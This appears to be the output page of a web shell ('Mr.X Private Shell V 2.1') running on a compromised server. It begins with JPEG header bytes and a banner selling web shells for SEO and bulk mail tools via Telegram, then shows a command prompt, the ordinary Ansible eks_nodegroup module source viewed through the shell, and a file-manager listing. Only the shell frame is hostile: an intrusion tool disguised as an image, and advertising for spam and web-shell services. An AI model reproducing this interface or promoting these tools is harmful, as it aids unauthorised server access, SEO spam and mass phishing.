����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright (c) 2022 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


DOCUMENTATION = r'''
---
module: eks_nodegroup
version_added: 5.3.0
short_description: Manage EKS Nodegroup module
description:
  - Manage EKS Nodegroup.
author:
  - Tiago Jarra (@tjarra)
options:
  name:
    description: Name of EKS Nodegroup.
    required: True
    type: str
  cluster_name:
    description: Name of EKS Cluster.
    required: True
    type: str
  node_role:
    description: ARN of IAM role used by the EKS cluster Nodegroup.
    type: str
  subnets:
    description: list of subnet IDs for the Kubernetes cluster.
    type: list
    elements: str
  scaling_config:
    description: The scaling configuration details for the Auto Scaling group that is created for your node group.
    type: dict
    default:
      min_size: 1
      max_size: 2
      desired_size: 1
    suboptions:
      min_size:
        description: The minimum number of nodes that the managed node group can scale in to.
        type: int
      max_size:
        description: The maximum number of nodes that the managed node group can scale out to.
        type: int
      desired_size:
        description: The current number of nodes that the managed node group should maintain.
        type: int
  disk_size:
    description:
      - Size of disk in nodegroup nodes.
        If you specify I(launch_template), then don't specify I(disk_size), or the node group deployment will fail.
    type: int
  instance_types:
    description:
      - Specify the instance types for a node group.
        If you specify I(launch_template), then don't specify I(instance_types), or the node group deployment will fail.
    type: list
    elements: str
  ami_type:
    description: The AMI type for your node group.
    type: str
    choices:
      - AL2_x86_64
      - AL2_x86_64_GPU
      - AL2_ARM_64
      - CUSTOM
      - BOTTLEROCKET_ARM_64
      - BOTTLEROCKET_x86_64
  remote_access:
    description:
      - The remote access (SSH) configuration to use with your node group.
        If you specify I(launch_template), then don't specify I(remote_access), or the node group deployment will fail.
    type: dict
    suboptions:
      ec2_ssh_key:
        description: The Amazon EC2 SSH key that provides access for SSH communication with the nodes in the managed node group.
        type: str
      source_sg:
        description: The security groups that are allowed SSH access (port 22) to the nodes.
        type: list
        elements: str
  update_config:
    description: The node group update configuration.
    type: dict
    default:
      max_unavailable: 1
    suboptions:
      max_unavailable:
        description: The maximum number of nodes unavailable at once during a version update.
        type: int
      max_unavailable_percentage:
        description: The maximum percentage of nodes unavailable during a version update.
        type: int
  labels:
    description: The Kubernetes labels to be applied to the nodes in the node group when they are created.
    type: dict
    default: {}
  taints:
    description: The Kubernetes taints to be applied to the nodes in the node group.
    type: list
    elements: dict
    default: []
    suboptions:
      key:
        description: The key of the taint.
        type: str
      value:
        description: The value of the taint.
        type: str
      effect:
        description: The effect of the taint.
        type: str
        choices:
          - NO_SCHEDULE
          - NO_EXECUTE
          - PREFER_NO_SCHEDULE
  launch_template:
    description:
      - An object representing a node group's launch template specification.
      - If specified, then do not specify I(instanceTypes), I(diskSize), or I(remoteAccess).
    type: dict
    suboptions:
      name:
        description: The name of the launch template.
        type: str
      version:
        description:
          - The version of the launch template to use.
          - If no version is specified, then the template's default version is used.
        type: str
      id:
        description: The ID of the launch template.
        type: str
  capacity_type:
    description: The capacity type for your node group.
    default: ON_DEMAND
    type: str
    choices:
      - ON_DEMAND
      - SPOT
  release_version:
    description: The AMI version of the Amazon EKS optimized AMI to use with your node group.
    type: str
  state:
    description: Create or delete the Nodegroup.
    choices:
      - absent
      - present
    default: present
    type: str
  tags:
    description: A dictionary of resource tags.
    type: dict
    aliases: ['resource_tags']
  purge_tags:
    description:
      - Purge existing tags that are not found in the nodegroup.
    type: bool
    default: true
  wait:
    description: Specifies whether the module waits until the profile is created or deleted before moving on.
    type: bool
    default: false
  wait_timeout:
    description: The duration in seconds to wait for the nodegroup to become active. Defaults to C(1200) seconds.
    default: 1200
    type: int
extends_documentation_fragment:
  - amazon.aws.aws
  - amazon.aws.ec2

'''

EXAMPLES = r'''
# Note: These examples do not set authentication details, see the AWS Guide for details.

- name: create nodegroup
  community.aws.eks_nodegroup:
    name: test_nodegroup
    state: present
    cluster_name: test_cluster
    node_role: arn:aws:eks:us-east-1:1231231123:role/asdf
    subnets:
      - subnet-qwerty123
      - subnet-asdfg456
    scaling_config:
      - min_size: 1
      - max_size: 2
      - desired_size: 1
    disk_size: 20
    instance_types: 't3.micro'
    ami_type: 'AL2_x86_64'
    labels:
      - 'teste': 'test'
    taints:
      - key: 'test'
        value: 'test'
        effect: 'NO_SCHEDULE'
    capacity_type: 'on_demand'

- name: Remove an EKS Nodegrop
  community.aws.eks_nodegroup:
    name: test_nodegroup
    cluster_name: test_cluster
    wait: yes
    state: absent
'''

RETURN = r'''
nodegroup_name:
  description: The name associated with an Amazon EKS managed node group.
  returned: when state is present
  type: str
  sample: test_cluster
nodegroup_arn:
  description: The Amazon Resource Name (ARN) associated with the managed node group.
  returned: when state is present
  type: str
  sample: arn:aws:eks:us-east-1:1231231123:safd
cluster_name:
  description: Name of EKS Cluster
  returned: when state is present
  type: str
  sample: test_cluster
version:
  description: The Kubernetes version of the managed node group.
  returned: when state is present
  type: str
  sample: need_validate
release_version:
  description: This is the version of the Amazon EKS optimized AMI that the node group was deployed with.
  returned: when state is present
  type: str
  sample: need_validate
created_at:
  description: Nodegroup creation date and time.
  returned: when state is present
  type: str
  sample: '2022-01-18T20:00:00.111000+00:00'
modified_at:
  description: Nodegroup modified date and time.
  returned: when state is present
  type: str
  sample: '2022-01-18T20:00:00.111000+00:00'
status:
  description: status of the EKS Nodegroup.
  returned: when state is present
  type: str
  sample:
  - CREATING
  - ACTIVE
capacity_type:
  description: The capacity type of your managed node group.
  returned: when state is present
  type: str
  sample: need_validate
scaling_config:
  description: The scaling configuration details for the Auto Scaling group that is associated with your node group.
  returned: when state is present
  type: dict
  sample: need_validate
instance_types:
  description: This is the instance type that is associated with the node group.
  returned: when state is present
  type: list
  sample: need_validate
subnets:
  description: List of subnets used in Fargate Profile.
  returned: when state is present
  type: list
  sample:
  - subnet-qwerty123
  - subnet-asdfg456
remote_access:
  description: This is the remote access configuration that is associated with the node group.
  returned: when state is present
  type: dict
  sample: need_validate
ami_type:
  description: This is the AMI type that was specified in the node group configuration.
  returned: when state is present
  type: str
  sample: need_validate
node_role:
  description: ARN of the IAM Role used by Nodegroup.
  returned: when state is present
  type: str
  sample: arn:aws:eks:us-east-1:1231231123:role/asdf
labels:
  description: The Kubernetes labels applied to the nodes in the node group.
  returned: when state is present
  type: dict
  sample: need_validate
taints:
  description: The Kubernetes taints to be applied to the nodes in the node group when they are created.
  returned: when state is present
  type: list
  sample: need_validate
resources:
  description: The resources associated with the node group.
  returned: when state is present
  type: complex
  contains:
    autoScalingGroups:
      description: The Auto Scaling groups associated with the node group.
      returned: when state is present
      type: list
      elements: dict
    remoteAccessSecurityGroup:
      description: The remote access security group associated with the node group.
      returned: when state is present
      type: str
diskSize:
  description: This is the disk size in the node group configuration.
  returned:  when state is present
  type: int
  sample: 20
health:
  description: The health status of the node group.
  returned: when state is present
  type: dict
  sample: need_validate
update_config:
  description: The node group update configuration.
  returned: when state is present
  type: dict
  contains:
    maxUnavailable:
      description: The maximum number of nodes unavailable at once during a version update.
      type: int
    maxUnavailablePercentage:
      description: The maximum percentage of nodes unavailable during a version update.
      type: int
launch_template:
  description: If a launch template was used to create the node group, then this is the launch template that was used.
  returned: when state is present
  type: dict
  sample: need_validate
tags:
  description: Nodegroup tags.
  returned: when state is present
  type: dict
  sample:
    foo: bar
'''

from ansible_collections.amazon.aws.plugins.module_utils.core import AnsibleAWSModule, is_boto3_error_code
from ansible_collections.amazon.aws.plugins.module_utils.ec2 import compare_aws_tags
from ansible_collections.amazon.aws.plugins.module_utils.ec2 import camel_dict_to_snake_dict, snake_dict_to_camel_dict
from ansible_collections.amazon.aws.plugins.module_utils.waiters import get_waiter

try:
    import botocore.exceptions
except ImportError:
    pass


def validate_tags(client, module, nodegroup):
    changed = False

    desired_tags = module.params.get('tags')
    if desired_tags is None:
        return False

    try:
        existing_tags = client.list_tags_for_resource(resourceArn=nodegroup['nodegroupArn'])['tags']
        tags_to_add, tags_to_remove = compare_aws_tags(existing_tags, desired_tags, module.params.get('purge_tags'))
    except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
        module.fail_json_aws(e, msg='Unable to list or compare tags for Nodegroup %s.' % module.params.get('name'))
    if tags_to_remove:
        if not module.check_mode:
            changed = True
            try:
                client.untag_resource(aws_retry=True, ResourceArn=nodegroup['nodegroupArn'], tagKeys=tags_to_remove)
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e, msg='Unable to set tags for Nodegroup %s.' % module.params.get('name'))
    if tags_to_add:
        if not module.check_mode:
            changed = True
            try:
                client.tag_resource(aws_retry=True, ResourceArn=nodegroup['nodegroupArn'], tags=tags_to_add)
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e, msg='Unable to set tags for Nodegroup %s.' % module.params.get('name'))

    return changed


def compare_taints(nodegroup_taints, param_taints):
    taints_to_unset = []
    taints_to_add_or_update = []
    for taint in nodegroup_taints:
        if taint not in param_taints:
            taints_to_unset.append(taint)
    for taint in param_taints:
        if taint not in nodegroup_taints:
            taints_to_add_or_update.append(taint)

    return taints_to_add_or_update, taints_to_unset


def validate_taints(client, module, nodegroup, param_taints):
    changed = False
    params = dict()
    params['clusterName'] = nodegroup['clusterName']
    params['nodegroupName'] = nodegroup['nodegroupName']
    params['taints'] = []
    if 'taints' not in nodegroup:
        nodegroup['taints'] = []
    taints_to_add_or_update, taints_to_unset = compare_taints(nodegroup['taints'], param_taints)

    if taints_to_add_or_update:
        params['taints']['addOrUpdateTaints'] = taints_to_add_or_update
    if taints_to_unset:
        params['taints']['removeTaints'] = taints_to_unset
    if params['taints']:
        if not module.check_mode:
            changed = True
            try:
                client.update_nodegroup_config(**params)
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e, msg='Unable to set taints for Nodegroup %s.' % params['nodegroupName'])

    return changed


def compare_labels(nodegroup_labels, param_labels):
    labels_to_unset = []
    labels_to_add_or_update = {}
    for label in nodegroup_labels.keys():
        if label not in param_labels:
            labels_to_unset.append(label)
    for key, value in param_labels.items():
        if key not in nodegroup_labels.keys():
            labels_to_add_or_update[key] = value

    return labels_to_add_or_update, labels_to_unset


def validate_labels(client, module, nodegroup, param_labels):
    changed = False
    params = dict()
    params['clusterName'] = nodegroup['clusterName']
    params['nodegroupName'] = nodegroup['nodegroupName']
    params['labels'] = {}
    labels_to_add_or_update, labels_to_unset = compare_labels(nodegroup['labels'], param_labels)

    if labels_to_add_or_update:
        params['labels']['addOrUpdateLabels'] = labels_to_add_or_update
    if labels_to_unset:
        params['labels']['removeLabels'] = labels_to_unset
    if params['labels']:
        if not module.check_mode:
            changed = True
            try:
                client.update_nodegroup_config(**params)
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e, msg='Unable to set labels for Nodegroup %s.' % params['nodegroupName'])

    return changed


def compare_params(module, params, nodegroup):
    for param in ['nodeRole', 'subnets', 'diskSize', 'instanceTypes', 'amiTypes', 'remoteAccess', 'capacityType']:
        if (param in nodegroup) and (param in params):
            if (nodegroup[param] != params[param]):
                module.fail_json(msg="Cannot modify parameter %s." % param)
    if ('launchTemplate' not in nodegroup) and ('launchTemplate' in params):
        module.fail_json(msg="Cannot add Launch Template in this Nodegroup.")
    if nodegroup['updateConfig'] != params['updateConfig']:
        return True
    if nodegroup['scalingConfig'] != params['scalingConfig']:
        return True
    return False


def compare_params_launch_template(module, params, nodegroup):
    if 'launchTemplate' not in params:
        module.fail_json(msg="Cannot exclude Launch Template in this Nodegroup.")
    else:
        for key in ['name', 'id']:
            if (key in params['launchTemplate']) and (params['launchTemplate'][key] != nodegroup['launchTemplate'][key]):
                module.fail_json(msg="Cannot modify Launch Template %s." % key)
        if ('version' in params['launchTemplate']) and (params['launchTemplate']['version'] != nodegroup['launchTemplate']['version']):
            return True
    return False


def create_or_update_nodegroups(client, module):

    changed = False
    params = dict()
    params['nodegroupName'] = module.params['name']
    params['clusterName'] = module.params['cluster_name']
    params['nodeRole'] = module.params['node_role']
    params['subnets'] = module.params['subnets']
    params['tags'] = module.params['tags'] or {}
    if module.params['ami_type'] is not None:
        params['amiType'] = module.params['ami_type']
    if module.params['disk_size'] is not None:
        params['diskSize'] = module.params['disk_size']
    if module.params['instance_types'] is not None:
        params['instanceTypes'] = module.params['instance_types']
    if module.params['launch_template'] is not None:
        params['launchTemplate'] = dict()
        if module.params['launch_template']['id'] is not None:
            params['launchTemplate']['id'] = module.params['launch_template']['id']
        if module.params['launch_template']['version'] is not None:
            params['launchTemplate']['version'] = module.params['launch_template']['version']
        if module.params['launch_template']['name'] is not None:
            params['launchTemplate']['name'] = module.params['launch_template']['name']
    if module.params['release_version'] is not None:
        params['releaseVersion'] = module.params['release_version']
    if module.params['remote_access'] is not None:
        params['remoteAccess'] = dict()
        if module.params['remote_access']['ec2_ssh_key'] is not None:
            params['remoteAccess']['ec2SshKey'] = module.params['remote_access']['ec2_ssh_key']
        if module.params['remote_access']['source_sg'] is not None:
            params['remoteAccess']['sourceSecurityGroups'] = module.params['remote_access']['source_sg']
    if module.params['capacity_type'] is not None:
        params['capacityType'] = module.params['capacity_type'].upper()
    if module.params['labels'] is not None:
        params['labels'] = module.params['labels']
    if module.params['taints'] is not None:
        params['taints'] = module.params['taints']
    if module.params['update_config'] is not None:
        params['updateConfig'] = dict()
        if module.params['update_config']['max_unavailable'] is not None:
            params['updateConfig']['maxUnavailable'] = module.params['update_config']['max_unavailable']
        if module.params['update_config']['max_unavailable_percentage'] is not None:
            params['updateConfig']['maxUnavailablePercentage'] = module.params['update_config']['max_unavailable_percentage']
    if module.params['scaling_config'] is not None:
        params['scalingConfig'] = snake_dict_to_camel_dict(module.params['scaling_config'])

    wait = module.params.get('wait')
    nodegroup = get_nodegroup(client, module, params['nodegroupName'], params['clusterName'])

    if nodegroup:
        update_params = dict()
        update_params['clusterName'] = params['clusterName']
        update_params['nodegroupName'] = params['nodegroupName']

        if 'launchTemplate' in nodegroup:
            if compare_params_launch_template(module, params, nodegroup):
                update_params['launchTemplate'] = params['launchTemplate']
                if not module.check_mode:
                    try:
                        client.update_nodegroup_version(**update_params)
                    except (botocore.exceptions.BotoCoreError, botocore.exceptions.ClientError) as e:
                        module.fail_json_aws(e, msg="Couldn't update nodegroup.")
                changed |= True

        if compare_params(module, params, nodegroup):
            try:
                if 'launchTemplate' in update_params:
                    update_params.pop('launchTemplate')
                update_params['scalingConfig'] = params['scalingConfig']
                update_params['updateConfig'] = params['updateConfig']

                if not module.check_mode:
                    client.update_nodegroup_config(**update_params)

                changed |= True

            except (botocore.exceptions.BotoCoreError, botocore.exceptions.ClientError) as e:
                module.fail_json_aws(e, msg="Couldn't update nodegroup.")

        changed |= validate_tags(client, module, nodegroup)

        changed |= validate_labels(client, module, nodegroup, params['labels'])

        if 'taints' in nodegroup:
            changed |= validate_taints(client, module, nodegroup, params['taints'])

        if wait:
            wait_until(client, module, 'nodegroup_active', params['nodegroupName'], params['clusterName'])

        nodegroup = get_nodegroup(client, module, params['nodegroupName'], params['clusterName'])

        module.exit_json(changed=changed, **camel_dict_to_snake_dict(nodegroup))

    if module.check_mode:
        module.exit_json(changed=True)

    try:
        nodegroup = client.create_nodegroup(**params)
    except (botocore.exceptions.BotoCoreError, botocore.exceptions.ClientError) as e:
        module.fail_json_aws(e, msg="Couldn't create Nodegroup %s." % params['nodegroupName'])

    if wait:
        wait_until(client, module, 'nodegroup_active', params['nodegroupName'], params['clusterName'])
        nodegroup = get_nodegroup(client, module, params['nodegroupName'], params['clusterName'])

    module.exit_json(changed=True, **camel_dict_to_snake_dict(nodegroup))


def delete_nodegroups(client, module):
    name = module.params.get('name')
    clusterName = module.params['cluster_name']
    existing = get_nodegroup(client, module, name, clusterName)
    wait = module.params.get('wait')
    if not existing or existing['status'] == 'DELETING':
        module.exit_json(changed=False, msg='Nodegroup not exists or in DELETING status.')
    if not module.check_mode:
        try:
            client.delete_nodegroup(clusterName=clusterName, nodegroupName=name)
        except (botocore.exceptions.BotoCoreError, botocore.exceptions.ClientError) as e:
            module.fail_json_aws(e, msg="Couldn't delete Nodegroup %s." % name)

        if wait:
            wait_until(client, module, 'nodegroup_deleted', name, clusterName)

    module.exit_json(changed=True)


def get_nodegroup(client, module, nodegroup_name, cluster_name):
    try:
        return client.describe_nodegroup(clusterName=cluster_name, nodegroupName=nodegroup_name)['nodegroup']
    except is_boto3_error_code('ResourceNotFoundException'):
        return None
    except (botocore.exceptions.BotoCoreError, botocore.exceptions.ClientError) as e:  # pylint: disable=duplicate-except
        module.fail_json_aws(e, msg="Couldn't get Nodegroup %s." % nodegroup_name)


def wait_until(client, module, waiter_name, nodegroup_name, cluster_name):
    wait_timeout = module.params.get('wait_timeout')
    waiter = get_waiter(client, waiter_name)
    attempts = 1 + int(wait_timeout / waiter.config.delay)
    try:
        waiter.wait(clusterName=cluster_name, nodegroupName=nodegroup_name, WaiterConfig={'MaxAttempts': attempts})
    except botocore.exceptions.WaiterError as e:
        module.fail_json_aws(e, msg="An error occurred waiting")


def main():
    argument_spec = dict(
        name=dict(type='str', required=True),
        cluster_name=dict(type='str', required=True),
        node_role=dict(),
        subnets=dict(type='list', elements='str'),
        scaling_config=dict(type='dict', default={'min_size': 1, 'max_size': 2, 'desired_size': 1}, options=dict(
            min_size=dict(type='int'),
            max_size=dict(type='int'),
            desired_size=dict(type='int')
        )),
        disk_size=dict(type='int'),
        instance_types=dict(type='list', elements='str'),
        ami_type=dict(choices=['AL2_x86_64', 'AL2_x86_64_GPU', 'AL2_ARM_64', 'CUSTOM', 'BOTTLEROCKET_ARM_64', 'BOTTLEROCKET_x86_64']),
        remote_access=dict(type='dict', options=dict(
            ec2_ssh_key=dict(no_log=True),
            source_sg=dict(type='list', elements='str')
        )),
        update_config=dict(type='dict', default={'max_unavailable': 1}, options=dict(
            max_unavailable=dict(type='int'),
            max_unavailable_percentage=dict(type='int')
        )),
        labels=dict(type='dict', default={}),
        taints=dict(type='list', elements='dict', default=[], options=dict(
            key=dict(type='str', no_log=False,),
            value=dict(type='str'),
            effect=dict(type='str', choices=['NO_SCHEDULE', 'NO_EXECUTE', 'PREFER_NO_SCHEDULE'])
        )),
        launch_template=dict(type='dict', options=dict(
            name=dict(type='str'),
            version=dict(type='str'),
            id=dict(type='str')
        )),
        capacity_type=dict(choices=['ON_DEMAND', 'SPOT'], default='ON_DEMAND'),
        release_version=dict(),
        tags=dict(type='dict', aliases=['resource_tags']),
        purge_tags=dict(type='bool', default=True),
        state=dict(choices=['absent', 'present'], default='present'),
        wait=dict(default=False, type='bool'),
        wait_timeout=dict(default=1200, type='int')
    )

    module = AnsibleAWSModule(
        argument_spec=argument_spec,
        required_if=[['state', 'present', ['node_role', 'subnets']]],
        mutually_exclusive=[
            ('launch_template', 'instance_types'),
            ('launch_template', 'disk_size'),
            ('launch_template', 'remote_access'),
            ('launch_template', 'ami_type')
        ],
        supports_check_mode=True,
    )

    if module.params['launch_template'] is None:
        if module.params['disk_size'] is None:
            module.params['disk_size'] = 20
        if module.params['ami_type'] is None:
            module.params['ami_type'] = "AL2_x86_64"
        if module.params['instance_types'] is None:
            module.params['instance_types'] = ["t3.medium"]
    else:
        if (module.params['launch_template']['id'] is None) and (module.params['launch_template']['name'] is None):
            module.exit_json(changed=False, msg='To use launch_template, it is necessary to inform the id or name.')
    try:
        client = module.client('eks')
    except (botocore.exceptions.BotoCoreError, botocore.exceptions.ClientError) as e:
        module.fail_json_aws(e, msg="Couldn't connect to AWS.")

    if module.params.get('state') == 'present':
        create_or_update_nodegroups(client, module)
    else:
        delete_nodegroups(client, module)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
accessanalyzer_validate_policy_info.py File 8.57 KB 0644
acm_certificate.py File 21.94 KB 0644
acm_certificate_info.py File 9.61 KB 0644
api_gateway.py File 12.97 KB 0644
api_gateway_domain.py File 12.43 KB 0644
application_autoscaling_policy.py File 22.77 KB 0644
autoscaling_complete_lifecycle_action.py File 2.88 KB 0644
autoscaling_instance_refresh.py File 9.89 KB 0644
autoscaling_instance_refresh_info.py File 7.21 KB 0644
autoscaling_launch_config.py File 24.4 KB 0644
autoscaling_launch_config_find.py File 6.45 KB 0644
autoscaling_launch_config_info.py File 6.78 KB 0644
autoscaling_lifecycle_hook.py File 10.57 KB 0644
autoscaling_policy.py File 23.13 KB 0644
autoscaling_scheduled_action.py File 9.42 KB 0644
aws_region_info.py File 3.06 KB 0644
batch_compute_environment.py File 15.81 KB 0644
batch_job_definition.py File 15.89 KB 0644
batch_job_queue.py File 9.5 KB 0644
cloudformation_exports_info.py File 2.11 KB 0644
cloudformation_stack_set.py File 31.98 KB 0644
cloudfront_distribution.py File 98.71 KB 0644
cloudfront_distribution_info.py File 28.98 KB 0644
cloudfront_invalidation.py File 10 KB 0644
cloudfront_origin_access_identity.py File 9.38 KB 0644
cloudfront_response_headers_policy.py File 10.55 KB 0644
codebuild_project.py File 18.98 KB 0644
codecommit_repository.py File 7.94 KB 0644
codepipeline.py File 10.71 KB 0644
config_aggregation_authorization.py File 5.11 KB 0644
config_aggregator.py File 7.95 KB 0644
config_delivery_channel.py File 7.68 KB 0644
config_recorder.py File 7.7 KB 0644
config_rule.py File 9.85 KB 0644
data_pipeline.py File 20.86 KB 0644
directconnect_confirm_connection.py File 5.47 KB 0644
directconnect_connection.py File 12.34 KB 0644
directconnect_gateway.py File 13.25 KB 0644
directconnect_link_aggregation_group.py File 17.75 KB 0644
directconnect_virtual_interface.py File 17.79 KB 0644
dms_endpoint.py File 22.77 KB 0644
dms_replication_subnet_group.py File 7.58 KB 0644
dynamodb_table.py File 35.98 KB 0644
dynamodb_ttl.py File 4.61 KB 0644
ec2_ami_copy.py File 6.98 KB 0644
ec2_customer_gateway.py File 7.89 KB 0644
ec2_customer_gateway_info.py File 4.59 KB 0644
ec2_launch_template.py File 35.09 KB 0644
ec2_placement_group.py File 7.33 KB 0644
ec2_placement_group_info.py File 3.12 KB 0644
ec2_snapshot_copy.py File 5.41 KB 0644
ec2_transit_gateway.py File 17.24 KB 0644
ec2_transit_gateway_info.py File 8.87 KB 0644
ec2_transit_gateway_vpc_attachment.py File 10.92 KB 0644
ec2_transit_gateway_vpc_attachment_info.py File 5.61 KB 0644
ec2_vpc_egress_igw.py File 6.15 KB 0644
ec2_vpc_nacl.py File 21.18 KB 0644
ec2_vpc_nacl_info.py File 7.17 KB 0644
ec2_vpc_peer.py File 20.84 KB 0644
ec2_vpc_peering_info.py File 8.97 KB 0644
ec2_vpc_vgw.py File 19.07 KB 0644
ec2_vpc_vgw_info.py File 5.68 KB 0644
ec2_vpc_vpn.py File 31.5 KB 0644
ec2_vpc_vpn_info.py File 7.29 KB 0644
ec2_win_password.py File 6.92 KB 0644
ecs_attribute.py File 9.78 KB 0644
ecs_cluster.py File 13.19 KB 0644
ecs_ecr.py File 21.46 KB 0644
ecs_service.py File 52.33 KB 0644
ecs_service_info.py File 8.5 KB 0644
ecs_tag.py File 7.35 KB 0644
ecs_task.py File 17.41 KB 0644
ecs_taskdefinition.py File 52.04 KB 0644
ecs_taskdefinition_info.py File 13.78 KB 0644
efs.py File 28.21 KB 0644
efs_info.py File 12.85 KB 0644
efs_tag.py File 5.45 KB 0644
eks_cluster.py File 9.62 KB 0644
eks_fargate_profile.py File 11.73 KB 0644
eks_nodegroup.py File 26.17 KB 0644
elasticache.py File 19.82 KB 0644
elasticache_info.py File 17.68 KB 0644
elasticache_parameter_group.py File 13.25 KB 0644
elasticache_snapshot.py File 6.82 KB 0644
elasticache_subnet_group.py File 7.56 KB 0644
elasticbeanstalk_app.py File 7.15 KB 0644
elb_classic_lb_info.py File 7.48 KB 0644
elb_instance.py File 14.27 KB 0644
elb_network_lb.py File 19.14 KB 0644
elb_target.py File 11.59 KB 0644
elb_target_group.py File 43.95 KB 0644
elb_target_group_info.py File 11.46 KB 0644
elb_target_info.py File 15.78 KB 0644
glue_connection.py File 15.36 KB 0644
glue_crawler.py File 15.58 KB 0644
glue_job.py File 18.09 KB 0644
iam_access_key.py File 9.94 KB 0644
iam_access_key_info.py File 3.56 KB 0644
iam_group.py File 16.21 KB 0644
iam_managed_policy.py File 14.16 KB 0644
iam_mfa_device_info.py File 2.92 KB 0644
iam_password_policy.py File 7.15 KB 0644
iam_role.py File 29.67 KB 0644
iam_role_info.py File 9.36 KB 0644
iam_saml_federation.py File 9.01 KB 0644
iam_server_certificate.py File 12.14 KB 0644
iam_server_certificate_info.py File 4.85 KB 0644
inspector_target.py File 7.73 KB 0644
kinesis_stream.py File 40.98 KB 0644
lightsail.py File 10.15 KB 0644
lightsail_static_ip.py File 3.89 KB 0644
msk_cluster.py File 31.56 KB 0644
msk_config.py File 9.28 KB 0644
networkfirewall.py File 11.7 KB 0644
networkfirewall_info.py File 7.24 KB 0644
networkfirewall_policy.py File 16.36 KB 0644
networkfirewall_policy_info.py File 8.78 KB 0644
networkfirewall_rule_group.py File 32.96 KB 0644
networkfirewall_rule_group_info.py File 17.8 KB 0644
opensearch.py File 55.85 KB 0644
opensearch_info.py File 19.48 KB 0644
redshift.py File 23.82 KB 0644
redshift_cross_region_snapshots.py File 6.7 KB 0644
redshift_info.py File 10.04 KB 0644
redshift_subnet_group.py File 8.18 KB 0644
s3_bucket_info.py File 20.69 KB 0644
s3_bucket_notification.py File 14.04 KB 0644
s3_cors.py File 4.18 KB 0644
s3_lifecycle.py File 26.91 KB 0644
s3_logging.py File 6.76 KB 0644
s3_metrics_configuration.py File 7.31 KB 0644
s3_sync.py File 18.77 KB 0644
s3_website.py File 11.37 KB 0644
secretsmanager_secret.py File 24.07 KB 0644
ses_identity.py File 22.99 KB 0644
ses_identity_policy.py File 7.39 KB 0644
ses_rule_set.py File 8.17 KB 0644
sns.py File 7.26 KB 0644
sns_topic.py File 27.72 KB 0644
sns_topic_info.py File 6.13 KB 0644
sqs_queue.py File 16.62 KB 0644
ssm_parameter.py File 19.82 KB 0644
stepfunctions_state_machine.py File 7.96 KB 0644
stepfunctions_state_machine_execution.py File 6.59 KB 0644
storagegateway_info.py File 11.46 KB 0644
sts_assume_role.py File 5.69 KB 0644
sts_session_token.py File 4.44 KB 0644
waf_condition.py File 29.29 KB 0644
waf_info.py File 4.27 KB 0644
waf_rule.py File 13.05 KB 0644
waf_web_acl.py File 12.41 KB 0644
wafv2_ip_set.py File 11.29 KB 0644
wafv2_ip_set_info.py File 3.93 KB 0644
wafv2_resources.py File 4.73 KB 0644
wafv2_resources_info.py File 3.11 KB 0644
wafv2_rule_group.py File 13.82 KB 0644
wafv2_rule_group_info.py File 4.64 KB 0644
wafv2_web_acl.py File 19.46 KB 0644
wafv2_web_acl_info.py File 3.95 KB 0644